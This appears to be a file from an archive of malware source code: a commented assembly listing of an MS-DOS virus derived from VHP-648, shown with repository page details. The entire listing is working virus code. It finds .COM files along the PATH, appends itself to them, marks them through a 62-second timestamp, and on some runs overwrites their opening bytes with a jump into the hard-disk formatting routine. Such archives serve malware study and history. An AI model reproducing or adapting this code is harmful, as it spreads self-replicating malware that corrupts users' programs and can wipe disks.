MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vhp-623.asm
2021-01-12 18:04:54 -06:00

332 lines
7.4 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

name Virus
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
int 20
data label byte ;Data section
dtaaddr dd ? ;Disk Transfer Address
ftime dw ? ;File date
fdate dw ? ;File time
fattrib dw ? ;File attribute
saveins db 3 dup (90) ;Original first 3 bytes
newjmp db 0E9 ;Code of jmp instruction
codeptr dw ? ;Here is formed a jump to virus code
allcom db '*.COM',0 ;Filespec to search for
poffs dw ? ;Address of 'PATH' string
eqoffs dw ? ;Address of '=' sign
pathstr db 'PATH='
fname db 40 dup (' ') ;Path name to search for
;Disk Transfer Address for Find First / Find Next:
mydta label byte
drive db ? ;Drive to search for
pattern db 13d dup (?) ;Search pattern
reserve db 7 dup (?) ;Not used
attrib db ? ;File attribute
time dw ? ;File time
date dw ? ;File date
fsize dd ? ;File size
namez db 13d dup (?) ;File name found
;This replaces the first instruction of a destroyed file.
;It's a jmp instruction into the hard disk formatting program (IBM XT only):
bad_jmp db 0EA,0,0,0,0C8
errhnd dd ?
virus:
push cx ;Save CX
mov dx,offset data ;Restore original first instruction
modify equ $-2 ;The instruction above is changed
; before each contamination
cld
mov si,dx
add si,saveins-data ;Instruction saved there
mov di,offset start
mov cx,3 ;Move 3 bytes
rep movsb ;Do it
mov si,dx ;Keep SI pointed at data
mov ah,30 ;Get DOS version
int 21
cmp al,0 ;Less than 2.0?
jne skip1
jmp exit ;Exit if so
skip1:
push es ;Save ES
mov ah,2F ;Get current DTA in ES:BX
int 21
mov [si+dtaaddr-data],bx ;Save it in dtaaddr
mov [si+dtaaddr+2-data],es
mov ax,3524 ;Get interrupt 24h handler
int 21 ; and save it in errhnd
mov [si+errhnd-data],bx
mov [si+errhnd+2-data],es
pop es ;Restore ES
mov ax,2524 ;Set interrupt 24h handler
mov dx,si
add dx,handler-data
int 21
mov dx,mydta-data
add dx,si
mov ah,1A ;Set DTA
int 21
push es ;Save ES & SI
push si
mov es,ds:[environ] ;Environment address
xor di,di
n_00015A: ;Search 'PATH' in environment
pop si ;Restore data offset in SI
push si
add si,pathstr-data
lodsb
mov cx,8000 ;Maximum 32K in environment
repne scasb ;Search for first letter ('P')
mov cx,4 ;4 letters in 'PATH'
n_000169:
lodsb ;Search for next char
scasb
jne n_00015A ;If not found, search for next 'P'
loop n_000169 ;Loop until done
pop si ;Restore SI & ES
pop es
mov [si+poffs-data],di ;Save 'PATH' offset in poffs
mov bx,si ;Point BX at data area
add si,fname-data ;Point SI & DI at fname
mov di,si
jmp short n_0001BF
n_000185:
cmp word ptr [si+poffs-data],6C
jne n_00018F
jmp olddta
n_00018F:
push ds
push si
mov ds,es:[environ]
mov di,si
mov si,es:[di+poffs-data]
add di,fname-data
n_0001A1:
lodsb
cmp al,';'
je n_0001B0
cmp al,0
je n_0001AD
stosb
jmp n_0001A1
n_0001AD:
xor si,si
n_0001B0:
pop bx
pop ds
mov [bx+poffs-data],si
cmp byte ptr [di-1],'\'
je n_0001BF
mov al,'\' ;Add '\' if not already present
stosb
n_0001BF:
mov [bx+eqoffs-data],di ;Save '=' offset in eqoffs
mov si,bx ;Restore data pointer in SI
add si,allcom-data
mov cl,6 ;6 bytes in ASCIIZ '*.COM'
rep movsb ;Move '*.COM' at fname
mov si,bx ;Restore SI
mov ah,4E ;Find first file
mov dx,fname-data
add dx,si
mov cl,11b ;Hidden, Read/Only or Normal files
int 21
jmp short n_0001E3
findnext:
mov ah,4F ;Find next file
int 21
n_0001E3:
jnc n_0001E7 ;If found, try to contaminate it
jmp n_000185 ;Otherwise search in another directory
n_0001E7:
mov ax,[si+time-data] ;Check file time
and al,11111b ; (the seconds, more exactly)
cmp al,62d/2 ;Are they 62?
;If so, file is already contains the virus, search for another:
je findnext
;Is file size greather than 64,000 bytes?
cmp [si+fsize-data],64000d
ja findnext ;If so, search for next file
;Is file size less than 10 bytes?
cmp word ptr [si+fsize-data],10d
jb findnext ;If so, search for next file
mov di,[si+eqoffs-data]
push si ;Save SI
add si,namez-data ;Point SI at namez
n_000209:
lodsb
stosb
cmp al,0
jne n_000209
pop si ;Restore SI
mov ax,4300 ;Get file attributes
mov dx,fname-data
add dx,si
int 21
mov [si+fattrib-data],cx ;Save them in fattrib
mov ax,4301 ;Set file attributes
and cl,not 1 ;Turn off Read Only flag
int 21
mov ax,3D02 ;Open file with Read/Write access
int 21
jnc n_00023E
jmp oldattr ;Exit on error
n_00023E:
mov bx,ax ;Save file handle in BX
mov ax,5700 ;Get file date & time
int 21
mov [si+ftime-data],cx ;Save time in ftime
mov [si+fdate-data],dx ;Save date in fdate
mov ah,2C ;Get system time
int 21
and dh,111b ;Are seconds a multiple of 8?
jnz n_000266 ;If not, contaminate file (don't destroy):
;Destroy file by rewriting an illegal jmp as first instruction:
mov ah,40 ;Write to file handle
mov cx,5 ;Write 5 bytes
mov dx,si
add dx,bad_jmp-data ;Write THESE bytes
int 21 ;Do it
jmp short oldtime ;Exit
;Try to contaminate file:
;Read first instruction of the file (first 3 bytes) and save it in saveins:
n_000266:
mov ah,3F ;Read from file handle
mov cx,3 ;Read 3 bytes
mov dx,saveins-data ;Put them there
add dx,si
int 21
jc oldtime ;Exit on error
cmp ax,3 ;Are really 3 bytes read?
jne oldtime ;Exit if not
;Move file pointer to end of file:
mov ax,4202 ;LSEEK from end of file
xor cx,cx ;0 bytes from end
xor dx,dx
int 21
jc oldtime ;Exit on error
mov cx,ax ;Get the value of file pointer (file size)
add ax,virus-data-3 ;Add virus data length to get code offset
mov [si+codeptr-data],ax ;Save result in codeptr
inc ch ;Add 100h to CX
mov di,si
add di,modify-data ;A little self-modification
mov [di],cx
mov ah,40 ;Write to file handle
mov cx,endcode-data ;Virus code length as bytes to be written
mov dx,si ;Write from data to endcode
int 21
jc oldtime ;Exit on error
cmp ax,endcode-data ;Are all bytes written?
jne oldtime ;Exit if not
mov ax,4200 ;LSEEK from the beginning of the file
xor cx,cx ;Just at the file beginning
xor dx,dx
int 21
jc oldtime ;Exit on error
;Rewrite the first instruction of the file with a jump to the virus code:
mov ah,40 ;Write to file handle
mov cl,3 ;3 bytes to write
mov dx,si
add dx,newjmp-data ;Write THESE bytes
int 21
oldtime:
mov dx,[si+fdate-data] ;Restore file date
mov cx,[si+ftime-data] ; and time
and cl,not 11111b
or cl,11111b ;Set seconds to 62 (?!)
mov ax,5701 ;Set file date & time
int 21
mov ah,3E ;Close file handle
int 21
oldattr:
mov ax,4301 ;Set file attributes
mov cx,[si+fattrib-data] ;They were saved in fattrib
mov dx,fname-data
add dx,si
int 21
olddta:
push ds ;Save DS
mov ah,1A ;Set DTA
mov dx,[si+dtaaddr-data] ;Restore saved DTA
mov ds,[si+dtaaddr+2-data]
int 21
mov ax,2524 ;Set interrupt 24h handler
mov dx,[si+errhnd-data] ;Restore saved handler
mov ds,[si+errhnd+2-data]
int 21
pop ds ;Restore DS
exit:
pop cx ;Restore CX
xor ax,ax ;Clear registers
xor bx,bx
xor dx,dx
xor si,si
mov di,100 ;Jump to CS:100
push di ; by doing funny RET
xor di,di
ret -1
handler: ;Critical error handler
mov al,0 ;Just ignore error
iret ; and return
endcode label byte
code ends
end start